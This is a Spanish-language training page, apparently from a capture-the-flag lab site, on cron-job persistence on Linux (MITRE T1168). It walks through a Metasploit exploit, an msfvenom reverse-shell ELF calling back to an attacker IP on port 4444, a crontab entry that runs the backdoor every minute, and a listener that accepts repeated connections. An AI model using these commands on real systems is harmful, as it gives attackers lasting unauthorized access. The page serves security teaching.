GhostAcademy logo GhostAcademy

T1168: Local Job Scheduling

POST-EXPLOTACIÓN LINUX PERSISTENCIA CRON MITRE T1168

⏰ T1168 — Persistencia mediante Cron Jobs

Cron es el planificador de tareas estándar en sistemas Unix/Linux. Permite ejecutar comandos o scripts de forma automática en intervalos definidos. Un atacante puede aprovechar crontab para configurar un payload que se ejecute periódicamente, garantizando acceso continuo aunque el proceso sea terminado.

Técnica MITRE ATT&CK: T1168 - Local Job Scheduling. Táctica: TA0003 - Persistence. Esta técnica se aplica también en macOS con launchd.

Sintaxis de crontab

CampoValoresDescripción
Minuto0-59 / *Minuto de ejecución
Hora0-23 / *Hora de ejecución
Día del mes1-31 / *Día del mes
Mes1-12 / *Mes del año
Día de la semana0-6 / *0=Domingo

🔍 Fase 1 — Reconocimiento y acceso inicial

Escaneo y explotación
nmap -sS -sV <IP>
msfconsole -q
# Usar exploit adecuado según servicio vulnerable
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit

🧰 Fase 2 — Crear payload y cron job

Generar payload ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=<IP_atacante> LPORT=4444 \
  -f elf > backdoor.elf
Subir payload a la víctima
# Desde la sesión Meterpreter:
upload backdoor.elf /tmp/backdoor.elf
shell
chmod +x /tmp/backdoor.elf
Configurar cron job persistente
# Editar crontab del usuario actual
crontab -e

# Añadir la siguiente línea (ejecuta cada minuto):
* * * * * /tmp/backdoor.elf

# Verificar:
crontab -l
El payload debe seguir existiendo en la ruta configurada para que el cron job funcione. Usar rutas persistentes como /tmp puede ser problemático tras reinicios. Preferir /var/tmp o /usr/local/bin.

📶 Fase 3 — Configurar listener y verificar

Listener persistente en el atacante
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_atacante>
set LPORT 4444
# ExitOnSession false para aceptar múltiples conexiones
set ExitOnSession false
exploit -j
Obtener la flag
find / -name flag* 2>/dev/null
cat /ruta/de/la/flag

📋 Flujo del ataque

1
ReconocimientoEscanear puertos y detectar servicio vulnerable.
2
ExplotaciónObtener shell Meterpreter Linux.
3
PreparaciónGenerar payload ELF con msfvenom.
4
PersistenciaSubir payload y configurar crontab para ejecución periódica.
5
Acceso futuroEl cron job reconecta automáticamente al listener.

🧠 Conceptos clave